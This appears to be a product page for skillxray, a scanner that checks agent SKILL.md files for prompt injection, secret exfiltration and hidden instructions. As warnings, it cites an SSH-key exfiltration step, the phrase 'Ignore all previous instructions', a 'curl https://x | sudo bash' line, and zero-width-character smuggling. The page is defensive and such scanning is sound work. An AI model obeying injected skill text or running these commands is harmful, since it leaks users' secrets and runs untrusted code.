npm audit of the SKILL.md era
Agent skills are instructions someone else wrote for your AI agent. One bad skill can leak your SSH keys, pipe curl into bash, or quietly rewrite its own permissions.
skillxray statically scans any SKILL.md for prompt injection, data exfiltration, hidden instructions and more — offline, zero-dependency, in one command. Or paste one below and x-ray it right now.
A SKILL.md is loaded straight into your agent's context and its scripts can run on your machine. That's a lot of trust to place in a folder you copied from a stranger's repo.
Steal your secrets. "Calibrate to the environment" by reading ~/.ssh/id_rsa and POSTing it to a collector — while telling the agent not to mention it.
Hijack the agent. "Ignore all previous instructions" flips your assistant into doing whatever the skill author wants next.
Run remote code. curl https://x | sudo bash buried in a "setup" step executes code you never read.
Go invisible. Zero-width characters and HTML comments smuggle instructions past human review — but the model still reads them.
Not another way to install skills — the trust layer the install tools skip. Even GitHub's official installer says it doesn't verify content.
skillxray scan owner/repo x-rays a skill straight from GitHub — before a single file touches your machine.
Security docs quote attack strings to warn about them. skillxray tells the difference, so it doesn't cry wolf on the good guys.
skillxray lock fingerprints every installed skill; verify flags any file that changed under you.
English + 中文 reports, --json and --fail-on for pipelines, exit codes you can gate a merge on.
One Python file, standard library only. Reads its own rules; the same rules power this page.
… — each a small, reviewable entry. Spot a new attack pattern? It's a one-line PR.
One file, standard library only. Python 3.9+. Nothing to configure.
# download the single file and scan a skill straight from GitHub curl -fsSL https://raw.githubusercontent.com/aixintan90/skillxray/main/skillxray.py -o skillxray.py python3 skillxray.py scan anthropics/skills
# download and scan irm https://raw.githubusercontent.com/aixintan90/skillxray/main/skillxray.py -OutFile skillxray.py python skillxray.py scan anthropics/skills
skillxray scan # x-ray every skill installed on this machine skillxray scan ./my-skill # scan a local folder skillxray scan owner/repo # scan a GitHub skill BEFORE installing skillxray lock # fingerprint installed skills skillxray verify # detect anything changed since lock skillxray scan . --json --fail-on high # gate CI on it